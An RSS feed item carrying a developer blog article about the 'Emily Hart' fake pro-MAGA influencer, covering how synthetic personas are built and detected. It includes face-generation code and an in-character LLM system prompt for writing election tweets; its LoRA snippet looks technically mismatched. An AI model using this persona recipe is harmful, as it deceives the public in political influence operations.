<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: 佐藤玲</title>
    <description>The latest articles on DEV Community by 佐藤玲 (@_d916d77be80d376e49d8e).</description>
    <link>https://dev.to/_d916d77be80d376e49d8e</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3894455%2F9ebd683d-9db5-4f84-8bfd-7996826ff9aa.jpg</url>
      <title>DEV Community: 佐藤玲</title>
      <link>https://dev.to/_d916d77be80d376e49d8e</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/_d916d77be80d376e49d8e"/>
    <language>en</language>
    <item>
      <title>How an AI Model Fooled Thousands: The Emily Hart 'MAGA' Influencer Deception Explained for Developers</title>
      <dc:creator>佐藤玲</dc:creator>
      <pubDate>Thu, 23 Apr 2026 16:17:35 +0000</pubDate>
      <link>https://dev.to/_d916d77be80d376e49d8e/how-an-ai-model-fooled-thousands-the-emily-hart-maga-influencer-deception-explained-for-1f58</link>
      <guid>https://dev.to/_d916d77be80d376e49d8e/how-an-ai-model-fooled-thousands-the-emily-hart-maga-influencer-deception-explained-for-1f58</guid>
      <description>&lt;h1&gt;
  
  
  How an AI Model Fooled Thousands: The Emily Hart 'MAGA' Influencer Deception Explained for Developers
&lt;/h1&gt;

&lt;p&gt;She had the perfect face. Flawless skin, piercing blue eyes, a photogenic smile that radiated authenticity — and a political opinion for every news cycle. Emily Hart, a self-described conservative 'MAGA' influencer with tens of thousands of followers, looked every bit the part of a real social media personality.&lt;/p&gt;

&lt;p&gt;There was just one problem: Emily Hart didn't exist.&lt;/p&gt;

&lt;p&gt;The account, eventually traced back to a man operating out of India, represents one of the most technically sophisticated influence operations uncovered in recent years. For developers, data scientists, and AI practitioners, it's a case study that deserves a deep technical autopsy — because the tools used to build 'Emily' are the same tools sitting in your GitHub repos right now.&lt;/p&gt;




&lt;h2&gt;
  
  
  Who Was Emily Hart?
&lt;/h2&gt;

&lt;p&gt;Emily Hart emerged as a prominent right-wing influencer persona across multiple social platforms. Her content leaned heavily into 'MAGA' talking points, cultural commentary, and shareable political memes. Her engagement metrics were impressive. Her follower count grew steadily. Brands were even reportedly approached for sponsored content opportunities.&lt;/p&gt;

&lt;p&gt;When investigative researchers and digital forensics analysts began pulling at the threads, the entire fabrication unravelled. The model behind the Emily Hart persona was a synthetic construct — a GAN-generated (Generative Adversarial Network) face layered onto a carefully curated social media presence. The operation was traced back to an individual in India running multiple such accounts simultaneously.&lt;/p&gt;

&lt;p&gt;This isn't a one-off. This is a template. And as a developer, you need to understand exactly how it works.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Technical Stack Behind a Fake Influencer
&lt;/h2&gt;

&lt;p&gt;Building a convincing synthetic influencer in 2024 requires a surprisingly accessible toolkit. Here's how operations like the Emily Hart persona are typically constructed:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Face Generation via GANs or Diffusion Models
&lt;/h3&gt;

&lt;p&gt;The foundation of any AI model persona is the face. Tools like &lt;strong&gt;StyleGAN3&lt;/strong&gt; (by NVIDIA) or &lt;strong&gt;Stable Diffusion&lt;/strong&gt; can generate photorealistic human faces that don't belong to any real person.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Example: Generating a synthetic face using the 'diffusers' library
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;diffusers&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;StableDiffusionPipeline&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;

&lt;span class="n"&gt;pipe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;StableDiffusionPipeline&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;from_pretrained&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;runwayml/stable-diffusion-v1-5&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;torch_dtype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;float16&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;pipe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cuda&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;prompt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;professional headshot of a young woman, natural lighting, photorealistic&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;images&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;synthetic_persona.png&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output is an image that passes a casual visual inspection with zero traces leading back to a real human being.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Consistent Identity Across Multiple Images
&lt;/h3&gt;

&lt;p&gt;One face isn't enough. A believable influencer has hundreds of photos. Operators use &lt;strong&gt;IP-Adapter&lt;/strong&gt; or &lt;strong&gt;LoRA fine-tuning&lt;/strong&gt; to maintain consistent facial identity across varied scenarios — different backgrounds, outfits, lighting conditions, and expressions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Conceptual example of LoRA-based identity consistency
# Fine-tune a base model on 15-20 seed images of the synthetic face
# to generate consistent variations
&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;peft&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;LoraConfig&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;get_peft_model&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;transformers&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AutoModelForCausalLM&lt;/span&gt;

&lt;span class="c1"&gt;# LoRA configuration for consistent persona generation
&lt;/span&gt;&lt;span class="n"&gt;lora_config&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;LoraConfig&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;lora_alpha&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;target_modules&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;q_proj&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;v_proj&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;lora_dropout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.05&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;bias&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;none&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is how 'Emily Hart' could appear at a beach, at a rally, and in a selfie — and still look like the same person.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Content Generation via LLMs
&lt;/h3&gt;

&lt;p&gt;The face is just the avatar. The voice — the political takes, the captions, the replies to followers — comes from large language models fine-tuned or prompted to maintain a consistent persona.&lt;/p&gt;

&lt;p&gt;Operators typically craft a detailed system prompt that defines the persona's:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Political stance (in this case, strongly pro-'MAGA')&lt;/li&gt;
&lt;li&gt;Tone and vocabulary&lt;/li&gt;
&lt;li&gt;Backstory and biography&lt;/li&gt;
&lt;li&gt;Posting habits and content pillars
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;system_prompt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
You are Emily Hart, a 28-year-old conservative commentator from Tennessee.
You are passionate about traditional American values, support MAGA political
movement, and share your opinions confidently on social media. Write in a
casual, engaging tone. Always stay in character.
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;openai&lt;/span&gt;

&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;openai&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;chat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;completions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gpt-4&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;system&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;system_prompt&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Write a tweet about today&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;s election news&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;choices&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4. Automated Scheduling and Engagement
&lt;/h3&gt;

&lt;p&gt;Posting manually at scale isn't sustainable. These operations use automation tools — sometimes simple Python scripts with platform APIs, sometimes commercial social media schedulers — to maintain the illusion of an active human presence.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Investigators Unmasked the Deception
&lt;/h2&gt;

&lt;p&gt;So how was Emily Hart caught? Digital forensics researchers used several detection vectors that every developer should be aware of:&lt;/p&gt;

&lt;h3&gt;
  
  
  Reverse Image Analysis
&lt;/h3&gt;

&lt;p&gt;Early GAN-generated faces have tell-tale artifacts — asymmetric ears, garbled text in backgrounds, impossible jewelry. Tools like &lt;strong&gt;Hive Moderation API&lt;/strong&gt; and &lt;strong&gt;FotoForensics&lt;/strong&gt; can flag these anomalies.&lt;/p&gt;

&lt;h3&gt;
  
  
  EXIF Metadata Stripping
&lt;/h3&gt;

&lt;p&gt;Real photos carry metadata: GPS coordinates, camera model, timestamp. Synthetic images have none of this — or suspiciously uniform metadata.&lt;/p&gt;

&lt;h3&gt;
  
  
  Behavioural Pattern Analysis
&lt;/h3&gt;

&lt;p&gt;The account posted with inhuman consistency — same times daily, rapid responses, zero personal life interruptions. NLP analysis of posting cadence and linguistic patterns flagged the account as likely automated.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cross-Platform Identity Verification
&lt;/h3&gt;

&lt;p&gt;The 'Emily Hart' persona failed basic cross-platform consistency checks. Real influencers accumulate messy, organic digital footprints. Synthetic personas are too clean.&lt;/p&gt;




&lt;h2&gt;
  
  
  Building a Detection Pipeline: A Developer's Approach
&lt;/h2&gt;

&lt;p&gt;Here's a practical skeleton for a synthetic persona detection tool you can build and expand:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;PIL&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Image&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;io&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BytesIO&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;numpy&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;analyze_profile_image&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image_url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    Basic synthetic image detection heuristics.
    For production, integrate with Hive or Microsoft Azure Content Moderator.
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image_url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;img&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;BytesIO&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;convert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;RGB&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;img_array&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;img&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;resolution&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;img&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;has_exif&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;_check_exif&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;img&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;symmetry_score&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;_facial_symmetry_score&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;img_array&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;artifact_score&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;_detect_gan_artifacts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;img_array&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;results&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_check_exif&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;img&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Check if image contains EXIF metadata.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;exif_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;img&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;_getexif&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;exif_data&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_facial_symmetry_score&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;img_array&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ndarray&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;GAN faces often show unnatural symmetry. Score 0-1.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;img_array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;shape&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;left_half&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;img_array&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;right_half&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fliplr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;img_array&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:])&lt;/span&gt;
    &lt;span class="n"&gt;diff&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;abs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;left_half&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;astype&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;right_half&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;astype&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
    &lt;span class="c1"&gt;# Lower diff = more symmetric = more suspicious
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;diff&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_detect_gan_artifacts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;img_array&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ndarray&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Placeholder for GAN artifact detection (integrate CNNForensics).&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="c1"&gt;# In production: use a pre-trained CNN trained on GAN vs real faces
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;

&lt;span class="c1"&gt;# Usage
&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;analyze_profile_image&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://example.com/profile.jpg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For a production-grade pipeline, integrate [[AI detection and content moderation APIs]] that offer pre-trained models specifically designed to identify synthetic media at scale.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Broader Implications for Developers
&lt;/h2&gt;

&lt;p&gt;The Emily Hart case isn't an anomaly — it's a preview. As synthetic media tools become more democratized, the barrier to running a sophisticated influence operation drops to near zero. A single operator with a laptop and [[cloud GPU rental services]] can now maintain dozens of fake personas simultaneously.&lt;/p&gt;

&lt;p&gt;This creates several urgent responsibilities for developers:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If you build social platforms:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Implement liveness checks and identity verification at signup&lt;/li&gt;
&lt;li&gt;Deploy behavioral analytics to flag non-human posting patterns&lt;/li&gt;
&lt;li&gt;Integrate synthetic media detection at the image upload layer&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;If you build AI tools:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Watermark generated images at the model level (C2PA standards)&lt;/li&gt;
&lt;li&gt;Implement usage monitoring for persona-building use cases&lt;/li&gt;
&lt;li&gt;Add friction to large-scale automated content generation&lt;/li&gt;
&lt;/ul&gt;

